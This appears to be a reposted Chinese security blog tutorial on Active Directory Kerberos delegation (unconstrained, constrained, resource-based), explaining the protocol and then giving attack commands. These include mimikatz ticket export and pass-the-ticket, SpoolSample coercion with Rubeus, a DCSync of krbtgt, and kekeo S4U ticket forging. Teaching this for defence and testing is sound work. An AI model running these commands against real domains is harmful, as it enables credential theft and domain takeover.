域内委派-原理以及应用

  • A+
所属分类:安全文章

点击蓝字关注我哦






前言

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。

委派主要分为非约束委派 (Unconstrained delegation)和约束委派 Constrained delegation)与基于资源的约束委派 (Resource Based Constrained Delegation)

建议多看几篇流程,思路理清楚。



kerberors协议认证请求流程

  • 1.客户端将用户ID的明文消息发送给AS(请求认证)

  • 2.AS检查客户端是否在其数据库中,在就会拿出相应用户id对应的hash来当作加密密钥。

  • 内容1:

    使用用户id对应的hash作为密钥加密的会话密钥(session key)

  • 内容2:

    使用KdrTGT 用户的hash作为密钥加密的TGT(TGT中包括用户id,客户端网络地址,票据有效信息和会话密钥(session key)

  • 3.客户端接收内容1和内容2,使用用户输入的密码生成hash,当作解密密钥来解密内容1的内容,拿到会话密钥(session key),然后生成下面两种内容信息发送给TGS

  • 内容1:

    使用KdrTGT 用户的hash作为密钥加密的TGT,以及要访问的服务id

  • 内容2:

    使用会话密钥(session key)加密的身份验证器(由客户端ID和时间戳组成)

  • 4.TGS收到内容1和内容2,KdrTGT 用户的hash来解密TGT,拿到了(TGT)客户端id,会话密钥,再使用会话密钥解密内容2,得到(身份验证器)客户端id,然后比对两个客户端id是否一致,一致则通过认证,然后就用内容1中的服务id来找到对应的hash来作为密钥,返回给客户端两众内容:

  • 内容1:

    服务id对应的hash加密的客户端到服务器票证(ST)(包括客户端ID,客户端网络地址,有效期和客户端/服务器会话密钥)

  • 内容2:使用会话密钥(session key)加密的客户端/服务器会话密钥

  • 5.客户端收到内容1和内容2后,使用会话密钥(session key)解密内容2获得客户端/服务器会话密钥,然后发送两种内容给要访问的服务器(之前请求的服务id对应的服务)

  • 内容1:

    服务id对应的hash加密的客户端到服务器票证(包括客户端ID,客户端网络地址,有效期和客户端/服务器会话密钥)(上一个步骤的内容1)

  • 内容2:

    使用客户端/服务器会话密钥加密的一个新的身份验证器(其中包括客户端ID,时间戳记)

  • 6.被请求的服务ss 拿到内容1和内容2,使用自己hash来作为密钥,来解密内容1,拿到客户端/服务器会话密钥和客户端ID,继续把拿到客户端/服务器会话密钥来解密内容2,获(新的身份验证器)得客户端ID,如果一致,就会返回内容给客户端,来表示回应。

  • 内容1:

    客户端/服务器会话密钥来加密的从内容2解密出来的时间戳

  • 7.客户端使用*客户端/服务器会话密钥*解密确认(消息H),如果时间戳是否正确,则客户端可以信任服务器并可以开始向服务器发出服务请求

  • 8.服务端响应请求。


非约束委派

原理:

当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中已备下次重用,然后service1就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能够访问的服务)了

域内委派-原理以及应用
域内委派-原理以及应用

配置了非约束委派的账户的userAccountControl 属性有个FLAG位 TRUSTED_FOR_DELEGATION,且非约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员


域内委派-原理以及应用

上图的kerberos请求描述分为如下步骤:


  • #前提建立在用户已经完成了身份认证

  • 1.用户向KDC发送KRB_AS_REQ消息请求的TGT1。

  • 2.KDC在KRB_AS_REP消息中返回TGT1。

  • 3.用户根据步骤2中的TGT1请求可转发TGT2。

  • 4.KDC在KRB_TGS_REP消息中为user返回TGT2。

  • 5.用户使用步骤2中返回的TGT1向KDC请求Service1的ST(Service Ticket)

  • 6.TGS在KRB_TGS_REP消息中返回给用户service1的ST。

  • 7.用户发送KRB_AP_REQ消息请求Service1,KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey

  • 8.service1使用用户发送过来的的TGT2,并以KRB_TGS_REQ的形式将其发送到KDC,以用户的名义请求service2的ST。

  • 9.KDC在KRB_TGS_REP消息中返回service2到service1的ST,以及service1可以使用的sessionkey。ST将客户端标识为用户,而不是service1。

  • 10.service1通过KRB_AP_REQ以用户的名义向service2发出请求。

  • 11.service2响应service1的请求。

  • 12.有了这个响应,service1就可以在步骤7中响应用户的请求。

  • 13.这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务,所以service1可以以用户的名义向KDC索要任何其他服务的票证。

  • 14.KDC返回步骤13中请求的ST

  • 15.15和16 步骤service1以用户的名义来请求其它服务


简要概括一下:

域内委派-原理以及应用
域内委派-原理以及应用

准备阶段:首先用户向KDC发送两次请求,第一次请求可转发的TGT1,第二次请求依据TGT1的可转发TGT2,然后KDC给用户TGT1和TGT2,然后用户使用TGT1向KDC请求Server1的ST,KDC返回给用户Server1的ST,然后用户发送消息给Server1,里面包含了ST,TGT1,TGT2以及Sessionkey。

开始代表用户去获得访问Server2的ST:然后server1拿TGT2向KDC请求Server2的ST,以用户的名义。KDC返回给Service2到Service1的ST,以及Service1可以使用的Sessionkey。(ST将客户端标识为用户,而不是Service1)

然后就拿着访问server2的st,去访问S2,S2返回给内容S1,S1再返回内容给用户

思考:

为什么要生成两个TGT,在正常的kerbors协议认证的时候只需要一个TGT?

我个人觉得是因为,第一个TGT是拿来访问Service1的,第二个TGT2是预留给服务器用的,让服务器拿着TGT2去请求KDC,获得访问Service2的ST,而第一个TGT1已经用于请求访问了Server1的ST。

攻击与利用方式

查找域内配置非约束委派的主机和用户:

域内委派-原理以及应用
域内委派-原理以及应用

查询非约束委派主要是通过搜索userAccountControl属性包含ADS_UF_TRUSTED_FOR_DELEGATION的主机或账户


1.kali自带的:(通过Active Directory:LDAP语法过滤器)

ldapsearch过滤条件:(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))
#搜索非约束委派账户ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户名,CN=Users,DC=networksec,DC=loacl" -w 域用户密码. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
#搜索非约束委派主机ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户名,CN=Users,DC=networksec,DC=loacl" -w 域用户密码. -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
注:区别服务用户和主机的区别是samAccountType=805306368 (0x30000000)时为用户,samAccountType=805306369 (0x30000001)时为主机,而userAccountControl:1.2.840.113556.1.4.803:=524288 则是标识可信任的委派帐户(不受约束的委派)

2.ADFind

AdFind [switches] [-b basedn] [-f filter] [attr list]
参数说明:
-b:指定要查询的根节点
-f:LDAP过滤条件
attr list:需要显示的属性
查找域中配置非约束委派的用户:
.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查找域中配置非约束委派的主机:.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

3.PowerView

#查找域中配置非约束委派用户
Get-NetUser -Unconstrained -Domain networksec |select name
#查找域中配置非约束委派的主机:
Get-NetComputer -Unconstrained -Domain networksec
#查询域中配置非约束委派的主机(另外一个版本的powerview):
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -Wrap -AutoSize

攻击与利用:

因为从上面可以得知,如果一个service的服务账号开启了unconstrained delegation,那么任何访问域用户成员都会把自己的TGT发送给它,并被保存在service机器内存中以备下次重用(lsass),如果我们拿到了这台机器,就可以导出用户的TGT,那么我们就可以利用这个TGT访问能访问到的任何服务,如果是域管理员用户,那就可以为所欲为。


域内委派-原理以及应用
域内委派-原理以及应用

注:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的


根据原理,我们可以诱导管理员访问我们开启了unconstrained delegation服务主机,那么我们就可以拿到域管理员的TGT了。

具体方式:

横向到一台开启了unconstrained delegation服务主机,用mimikatz导出TGT(管理员权限)

privilege::debugsekurlsa::tickets /export

导入指定票据到当前会话

kerberos::ptt 票据名称

还有一种方式是直接提升成域管理员:


域内委派-原理以及应用
域内委派-原理以及应用

1.这是需要配合域控上的打印机服务,值得注意的事Print Spooler服务默认是自动运行的

2.还得是一台主机账户并且开启了非约束委派域内机器的权限 #注:是主机账户开启非约束委派,而不是服务用户

tifkin_开源了它的poc

https://github.com/shanfenglan/test/tree/master/spooler


1.向DC的Spooler服务发送请求,强制其访问USER进行身份验证

SpoolSample.exe DC USER

2.用本地的管理员账号打开一个cmd,直接运行命令(如果不用高权限运行的话会报错)

Rubeus.exe monitor /interval:5 /filteruser:DC$ kekeo/interval:5 设置监听间隔5秒/filteruser 监听对象为我们的域控,注意后面有个$,如果不设置监听对象就监听所有的TGT
这样可以第一时间截取到域控的TGT

3.利用Rubeus将base64编码的票据直接注入到内存中

Rubeus.exe describe /ticket:base64Rubeus.exe ptt /ticket:base64

4.DCsync攻击域控:

mimikatz.exe "lsadump::dcsync /domain:networksec.loacl /user:DCkrbtgt"

约束委派

原理

由于非约束委派的不安全性,微软在windows service 2003中引入了约束委派,对kerberos协议进行了扩展,引入了S4U,其中S4U支持两个子协议:S4U2Self和S4U2proxy。这两个协议可以代替任何用户从KDC请求票据,S4U2self可以代表自身请求对其自身的kerberos服务票据(ST);S4U2proxy可以以用户名义请求其他服务的ST,约束委派就限制了S4U2proxy扩展的范围。

注:其中步骤1-4代表S4U2Self请求的过程,步骤5-10代表S4U2proxy的请求过程

域内委派-原理以及应用
域内委派-原理以及应用

配置了约束委派的账户的 userAccountControl 属性有个FLAG位 TRUSTED_TO_AUTH_FOR_DELEGATION,并且msDS-AllowedToDelegateTo 属性还会指定对哪个SPN进行委派。约束委派的设置需要SeEnableDelegation 特权,该特权通常仅授予域管理员


域内委派-原理以及应用

上述请求的文字描述:


  • 1.用户向service1发出请求(用户已通过身份验证)。

  • 2.服务器收到了请求,通过S4U2self扩展以用户的名义向KDC请求用于访问service1的ST1。

  • 3.KDC返回给Service1一个用于用户验证Service1的ST1,该ST1可能包含用户的授权数据。

  • 4.service1可以使用ST中的授权数据来满足用户的请求,然后响应用户。

  • 尽管S4U2self向服务1提供有关用户的信息,但此扩展不允许服务1代表用户发出其他服务的请求,那是S4U2proxy的作用。

  • 6.用户向service1发出请求,service1需要以用户身份访问service2上的资源。

    (但是,服务1没有来自用户的转发的TGT来通过转发的TGT执行委派,如指定使用转发的TGT进行Kerberos委派)

  • 7.service1以用户的名义向KDC请求用户访问service2的ST2

  • 8.如果请求中包含PAC,则KDC通过检查PAC的签名数据来验证PAC ,如果PAC有效或不存在,则KDC返回ST2给service1,但存储在ST2的cname和crealm字段中的客户端身份是用户的身份,而不是service1的身份。

  • 9.service1使用ST2以用户的名义向service2发送请求,并判定用户已由KDC进行身份验证。

  • 10.service2响应请求。

  • 11.service1响应用户对步骤6中的请求。


攻击与利用方式:

1.ldapsearch

ldapsearch#查找域中配置约束委派用户过滤条件(&(samAccountType=805306368)(msds-allowedtodelegateto=*))
搜索命令:ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户,CN=Users,DC=networksec,DC=loacl" -w 域用户密码 -b "DC=networksec,DC=loacl" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
#查找域中配置约束委派的主机:过滤条件(&(samAccountType=805306369)(msds-allowedtodelegateto=*))ldapsearch -x -H ldap://172.16.25.242:389 -D "CN=域用户,CN=Users,DC=networksec,DC=loacl" -w 域用户密码 -b "DC=networksec,DC=loacl" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

2.ADFind

#查找用户.AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查找域中配置约束委派的主机 .AdFind.exe -b "DC=networksec,DC=loacl" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto 

3.PowerView

#查找域中配置约束委派用户Get-DomainUser –TrustedToAuth -domain 域名全称 -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl#查找域中配置约束委派的主机:Get-DomainComputer -TrustedToAuth -Domain 域名全称 -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

攻击与原理:

服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST。

这里就要用到一个工具kekeo

1.首先查询域内配置了约束性委派的服务账号

Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto| fl

2.用kekeo请求该用户的TGT,如果我们拿到了服务用户的明文密码或者NTLM Hash

tgt::ask /user:域用户名 /domain:networksec /password:1111 /ticket:wptgt.kirbitgt::ask /user:域用户名 /domain:networksec /NTLM:xxxxxxxxxxxxxxxx   /ticket:test.kirbi

3.得到用户TGT的服务使用伪造s4u2self请求和s4u2proxy以administrator用户身份请求访问

Tgs::s4u /tgt:tgt票据名称 /user:[email protected] /service:访问服务名称 /user.networksec

4.将S4U2Self获取到的ST1以及S4U2Proxy获取到的访问服务的ST2保存在当前目录下
然后我们用mimikatz将ST2导入当前会话即可

kerberos::ptt st2名称

当然如果我们获得了服务账号所在主机的权限,那么,我们可以利用mimikatz从内存中将票据导出来。

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
域内委派-原理以及应用
域内委派-原理以及应用

注:sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::tickets和kerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。

这里已经把票据请求出来了,就不用再去ask请求TGT票据了

3.基于资源的委派:

Kerberos委派虽然有用,但本质上是不安全的,因为对于可以通过模拟帐户可以访问哪些服务没有任何限制,那么模拟帐户可以在模拟帐户的上下文中访问多个服务,而不仅仅是特定服务器上的指定服务。而且为了配置受约束的委派,必须拥有SeEnableDelegation特权,该特权很敏感,通常仅授予域管理员,为了使用户/资源更加独立。

基于资源的约束委派只能在运行Windows Server 2012 R2和Windows Server 2012的域控制器上配置,但可以在混合模式林中应用。
域内委派-原理以及应用
域内委派-原理以及应用

基于资源的约束委派,顾名思义,现在是要被访问的资源来决定我信任谁,而不是模拟账户本身

区别:它不再需要域管理员对其进行配置,可以直接在机器账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置基于资源的约束委派。(此属性的作用是控制哪些用户可以模拟成域内任意用户,然后向该计算机进行身份验证)

传统的约束委派:在ServiceA的msDS-AllowedToActOnBehalfOfOtherIdentity属性中配置了对ServiceB的信任关系,定义了到ServiceB的传出委派信任。

资源约束委派:在ServiceB的msDS-AllowedToActOnBehalfOfOtherIdentity属性中配置了对ServiceA的信任关系,定义了从ServiceA的传入信任关系。

域内委派-原理以及应用
域内委派-原理以及应用

而重要的一点在于,资源本身可以为自己配置资源委派信任关系,资源本身决定可以信任谁,该信任谁。

过程解析:
1.用户进行kerberors认证拿到了TGT2.然后用户向server1发送委派服务请求,服务1 代表用户申请一个获得针对服务1自身的kerberos服务票据(这一步就就和传统的self很像,但也有区别),拿到了不可以转发的访问服务1的TGS。3.服务1可以使用来自用户的授权( 在S4U2SELF阶段获得的不可转发的TGS),然后用该TGS(放在AddtionTicket里面)向KDC请求访问服务2的可转发的TGS

利用思路:

1.我们拥有一个任意的服务账户1 或者计算机账户1

2.我们获得服务账户2 的LDAP权限

3.配置服务1对服务2的约束委派(在服务账户2的用户属性上配置msDS-AllowedToActOnBehalfOfOtherIdentity为服务账户1的sid)

4.发起一个从服务1到服务2的正常的约束委派的流程,从而访问服务2。

一个重要的案例:(ateam 这是一篇“不一样”的真实渗透测试案例分析文章)挺强的

域内委派-原理以及应用

原理:sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若攻击者回复要求采用NTLM认证则会自动使用当前用户凭据进行认证,抓包获取NTLM认证请求。
域内委派-原理以及应用
域内委派-原理以及应用

注意的点:

1.system账户做Relay时是用机器账户去请求,但是我们不知道机器账户的密码或者hash,所以没办法申请TGT。

2.默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。



域内委派-原理以及应用

END

域内委派-原理以及应用


域内委派-原理以及应用


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!
域内委派-原理以及应用

域内委派-原理以及应用
域内委派-原理以及应用
域内委派-原理以及应用
扫码关注我们
域内委派-原理以及应用


扫码领hacker资料,常用工具,以及各种福利


域内委派-原理以及应用

转载是一种动力 分享是一种美德

   

本文始发于微信公众号(Gamma实验室):域内委派-原理以及应用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: